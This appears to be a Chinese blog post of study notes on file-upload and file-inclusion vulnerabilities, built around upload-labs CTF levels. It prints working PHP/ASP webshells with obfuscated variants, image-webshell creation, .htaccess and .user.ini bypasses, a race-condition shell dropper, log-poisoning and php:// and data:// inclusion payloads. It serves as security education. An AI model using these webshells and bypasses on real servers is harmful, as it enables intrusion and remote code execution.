文件上传_文件包含漏洞

文件上传漏洞

WebShell定义

什么是webshell

Webshell是攻击者用于与服务器系统进行交互的脚本,攻击者通过浏览器向Webshell脚本发送指令,该脚本在服务器端执行指令,从而实现执行系统级操作,且能将执行结果返回给攻击者查看。其最大优点是可穿越防火墙,与被控制的服务器或远程主机交换的数据通过80端口传递,一般不会在系统日志中留下记录,仅在网站的web日志中留下数据提交记录。

webshell主要特点

  • 隐蔽性强:Webshell脚本通常伪装成正常的网页文件,不易被管理员察觉 5
  • 可穿越防火墙:由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截 3
  • 功能强大:可以将其视为可在服务器上执行的一种远程访问工具或后门木马文件

配置文件详解

.htaccess

作用:分布式配置文件(即每个目录下都可以有自己的.htaccess文件),一般用于URL重写、认证、访问控制等

作用范围:存放该文件的目录及其子目录

优先级:较高

httpd-conf

作用:包含Apache服务器的全局行为和默认设置

作用范围:整个服务器

优先级:较低

.user.ini

作用:特定于用户或特定目录的配置文件,用于覆盖或追加全局配置文件(如php.ini)中的PHP配置选项

作用范围:存放该文件的目录及其子目录

优先级:较高,可覆盖php.ini

php.ini

作用:存储了对整个PHP环境生效的配置选项。

作用范围:所有运行在该PHP环境中的PHP请求

优先级:较低

一句话木马

一句话木马,即我们需要上传的脚本 .php 文件

<?php @eval($_POST['hack']);?>

代码解读:

@符:放置在php表达式前,是php表达式可能产生的任何错误信息都被忽略掉

eval():将括号里的字符串当作php代码执行

$_POST[x]:通过POST请求接受外部输入。eg.POST请求中传递x=phpinfo();

其中'hack'作为攻击载荷的传输通道,即蚁剑中的连接密码

绕过变形:

<?php assert(@$_POST['hack']);?>				//assert()替代eval()
<?php                                      ?>	//Base64编码
<?php $func = 'eval'; @$func($_POST['hack']);?>	//变量绕过

其他类型:

ASP:

<%eval request("hack")%>

ASP.NET:

<%@ Page Language="Jscript"%><%eval (Request.Item["hack"],"unsafe");%>

图片马的生成:

法一:将 木马.php 后缀直接改为 .jpg

法二:1、在路径下准备好 木马.php 和 图片.jpg

​ 2、当前路径下打开cmd,输入:copy 图片.jpg/b+木马.php/a 图片马.jpg

绕过

前端js绕过

判断前/后端:先上传非法文件,查看是否可以抓到包。若无法抓包,则文件在前端就被过滤,没有从客户端发往后端(ps:前端验证客户端可修改,最不安全)

法一:

利用插件 Javascript Switcher 禁用js验证

法二:

上传 .jpg 等包含木马且合法的文件格式,通过前端验证

再利用bp抓包 修改文件后缀 使php代码可以运行

MIME绕过

MIME类型就是数据包中的 Content-Type:

将文件类型改为 image/jpeg 等 绕过MIME类型检验

特殊后缀绕过

 $deny_ext = array('.asp','.aspx','.php','.jsp');

黑名单是规定不允许上传的文件,但是如果黑名单定义不完整的话是可以实现绕过的,用.phtml .phps .php5 .pht进行绕过。这里我们直接上传一个.php5文件

.htaccess绕过

在apache里,.htaccess文件作为一个配置文件,可以用来控制所在目录的访问权限以及解析设置。

AddType application/x-httpd-php .jpg		//将目录下.jpg格式文件当作php执行

新建文件名 .htaccess 将上面代码加入

依次上传 木马.jpg 和 .htaccess 文件

.user.ini绕过

写法:

auto-prepend-file = 木马.jpg			//包含在文件头
auto-append-file = 木马.jpg			//包含在文件尾

.user.ini文件里的意思是:所有的php文件都自动包含1.jpg文件。.user.ini相当于一个用户自定义的php.ini

添加 空格 点 绕过

upload/pass-05题源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");//黑名单
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');//以.分割 提取文件后缀
        $file_ext = strtolower($file_ext); //转换为小写--防止大小写绕过
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空--防止空格绕过

通过bp抓包,将文件名改为 木马.php. .由于没有循环验证,去空删点都进行完一次后,还剩下 木马.php. ,此时分割提取的文件后缀为 .

大小写绕过

黑名单过滤不严谨,可通过bp抓包,修改木马文件后缀为 .Php .PhP 等形式

空格绕过

后缀加点绕过

$DATA绕过

补充知识:

当文件后跟着 ::$DATA 时,它表示文件的一个附加数据流。数据流是一种用于在文件内部储存额外数据的机制

使用方法:

准备写入文件 木马.txt 和被写入文件 1.txt

在该目录下打开cmd输入:type 木马.txt>>1.txt:数据流名 //或echo "内容">>1.txt:数据流名

查看:notepad 1.txt:数据流名 //用记事本打开1.txt的数据流

php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名。通过bp抓包,在木马文件名后添加::$DATA,绕过对木马文件的后缀检查

双写绕过

$deny_ext=array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);	//从左到右 将file_name中包含的deny_ext黑名单中的字符串替换为""

通过bp抓包,修改文件名为 木马.pphphp(其中斜体部分会被替换为"")

%00截断

在URL中,%00为空字符,当服务器读取到%00时会自动结束

$temp_file = $_FILES['upload_file']['tmp_name'];		//临时路径
$img_path=$_GET['save_path']."/".rand(10,99).date("YmdHis").".".$file_ext;		//实际路径

在upload-labs/pass-12中,可以对文件保存路径进行修改(因为本题通过get请求获取的文件保存路径)

实际保存路径应为 /upload/1.php%00/xxx.jpg

因为服务器读到%00结束,所以将木马文件内容保存到了1.php中

0X00截断

在php代码中,0X00为空字符

与%00截断原理类似,但是注意添加0X00时,应先在后面添加一个任意字符,再用右侧编码转换成空字符

字节标识绕过

JPG:FF D8 FF EO 00 10 4A 46 49 46

PNG:89 50 4E 47

GIF:47 49 46 3839 61(GIF89a)

ps:可以利用010Editor修改文件前两个字节

文件包含绕过

利用bp的重放器,查看文件上传的路径

http://xxx/include.php?file=./upload/6720251128000326.jpg

./ 为include.php所在的当前目录下

二次渲染绕过

GIF:

将原图和上传图用010Editor进行比较(工具-->文件比较ctrl+M)找到第二段匹配的部分 将一句话木马插入

其他格式参考:绕过二次渲染上传图片马-CSDN博客

条件竞争绕过

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');			//白名单
    $file_name = $_FILES['upload_file']['name'];	//文件上传名
    $temp_file = $_FILES['upload_file']['tmp_name'];//上传文件的临时目录
    $file_ext = substr($file_name,strrpos($file_name,".")+1);//文件后缀
    $upload_file = UPLOAD_PATH . '/' . $file_name;	//最终上传路径

    if(move_uploaded_file($temp_file, $upload_file)){//将文件从临时目录移动到最终目录
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

原理:文件先上传到服务器后,再进行筛选。若上传线程很多,可以在服务器删除木马文件前连接

2.php 生成小马语句:

<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_POST['hack'])?>");?>

然后上传2.php文件,通过bp的Intruder多线程发送并多线程访问 ./upload/2.php

直到生成shell.php文件

apache解析漏洞

apache服务器在解析后缀名的顺序是从右往左,若无法解析则跳过

上传文件时 通过bp抓包 将后缀名改为 2.php.7z 是文件绕过后缀检查且可以运行php代码

代码审计+数组后缀

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');	//白名单类型
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));	//以.分割存入数组
        }

        $ext = end($file);	//数组最后一个元素
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {	//最后一元素在白名单中
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];	//将文件名file[0]与后缀file[len-1]拼接
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

绕过姿势:

上传数组:file[0]=1.php file[1]=null file[比1大的数]=png

文件包含漏洞

本地文件包含漏洞(LFI)

能够打开并包含本地文件的漏洞,我们称为本地文件包含漏洞(LFI)

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?>

通过包含 可以直接读取到一些系统的本地信息

(1)绝对路径:file=D:\CTF\Tool\web\phpstudy_pro\WWW\upload-labs\upload\木马.php

(2)相对路径:fiel=./upload/木马.php //通过./表示当前位置路径,…/表示上一级路径位置,在linux中同样适用。

利用方式

1.配合文件上传

见文件上传漏洞中的文件包含绕过 通过文件包含 是图片马中的php代码被包含执行

2.包含Apache日志文件

有时候网站存在文件包含漏洞,但是却没有文件上传点。这个时候我们还可以通过利用Apache的日志文件来生成一句话木马。

当用户发起请求时,服务器会将请求写入access.log,发生错误时将错误写入error.log

如果我们访问一个不存在的资源,也会被成功记录,但被编码了

在这里插入图片描述

再次进行访问并用bp抓包 发现已经被编码

将报文修改回去 再发送即可 此时日志中正确的写入了php代码

在这里插入图片描述

再通过本地文件包含漏洞访问执行

3.包含SESSION文件

php的session文件的保存路径可以在phpinfo的session.save_path看到

可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可

在这里插入图片描述

session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到

远程文件包含(RFI)

如果PHP的配置选项allow_url_includeallow_url_fopen状态为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含(RFI)

<?php
	$path=$_GET['path'];
	include($path . '/phpinfo.php');
?>

在远端Web服务器/site/目录下创建一个 木马.php文件 利用漏洞去读取这个文件

ps:/site目录是一个常见的web应用程序结构组件 作为网站核心文件的标准存放位置

但此题代码后会在输入的路径后加上/phpinfo.php后缀 可以尝试用%00截断 或?截断

PHP伪协议

在这里插入图片描述

1.file://

用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

file:// [文件的绝对路径和文件名]

2.php://

php://filter用于读取源码
php://input用于执行php代码

php://input利用方法:

输入file=php://input 然后使用burp抓包 写入php代码:

在这里插入图片描述

3.data://

data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

data://text/plain,<?php phpinfo();?>
//如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

——————————————————————

参考文章:文件包含漏洞全面详解-CSDN博客

posted @ 2025-12-28 23:23  aax小能  阅读(5)  评论(0)    收藏  举报